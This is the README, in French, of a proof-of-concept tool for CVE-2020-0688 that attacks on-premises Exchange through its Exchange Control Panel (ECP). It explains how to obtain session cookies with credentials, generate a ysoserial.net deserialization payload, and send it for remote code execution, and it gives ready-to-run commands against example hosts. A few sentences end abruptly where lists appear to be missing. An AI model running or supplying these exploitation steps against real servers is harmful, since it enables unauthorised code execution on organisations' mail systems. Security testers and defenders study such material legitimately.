
CVE-2020-0688 PoC
Cette preuve de concept pour CVE-2020-0688 inclut des fonctions pour le scan et l'exploitation d'une instance Exchange sur site vulnérable.
scan - fournit des identifiants et des informations de cible pour obtenir les cookies nécessaires à l'exploitation et les enregistre dans 'cookies.txt'. Vérifie également l'exposition du service Exchange Control Panel (ECP) pour le serveur Exchange ciblé, tente une authentification sur ce service, et vérifie la correspondance de la valeur appropriée de VIEWSTATEGENERATOR. Si l'authentification réussit, la valeur du cookie de session pour la création de la charge utile sérialisée est affichée.
generate - fournit la valeur du cookie de session obtenue via la fonction 'scan', ainsi qu'une commande pour l'exécution de code. Cela formate votre entrée pour ysoserial.net afin de générer une charge utile sérialisée pour l'exécution de code. Enregistrez la sortie de ysoserial dans un fichier tel que 'payload.txt'.
exploit - prend l'entrée de votre fichier de cookies obtenu lors de l'utilisation de la fonction 'scan' avec une authentification réussie, et encode en URL le contenu de votre fichier de charge utile. L'exploit effectue la requête authentifiée appropriée pour déclencher l'exécution de code contre des instances Exchange sur site vulnérables.
$./ecp_slap
scan - Scan an Exchange host and obtain cookies needed for exploitation:
./ecp_slap scan -t 10.1.1.5 -d corp.local -u admin -p badpassword
./ecp_slap scan -t mail.corp.com -d CORP -u admin -p badpassword
generate - Generate the ysoserial.net command for payload creation:
./ecp_slap generate -s [ASP.NET_SessionId] -c [COMMAND]
./ecp_slap generate -s 81c35474-6a73-4a1c-af45-b3985e7d7ad1 -c "echo test > C:/temp/test.txt"
exploit - Exploitation of a vulnerable Exchange server:
./ecp_slap exploit -t 192.168.5.22 -c cookies.txt -p payload.txt
./ecp_slap exploit -t mail.corp.com -c cookies.txt -p payload.txt
Si vous avez vérifié que la version d'Exchange sur site que vous tentez d'exploiter :
mais que vous n'arrivez toujours pas à vérifier l'exécution de code réussie, envisagez d'exécuter des commandes simples pour évaluer si l'exécution de code fonctionne, telles que :
Commencez par l'avis de sécurité MSRC qui inclura des détails sur les correctifs et les versions vulnérables d'Exchange sur site. Recouper les correctifs avec les numéros de build Exchange de Microsoft aidera à déterminer la vulnérabilité. Pour reproduire manuellement l'exploitation de cette vulnérabilité, suivez l'incroyable article du ZDI.
Si vous choisissez de compiler ce projet à partir des sources, plutôt que de prendre la version compilée, configurer votre environnement Go est souvent aussi simple que d'installer GoLang et de définir la variable d'environnement appropriée. Les étapes à suivre sont documentées ici.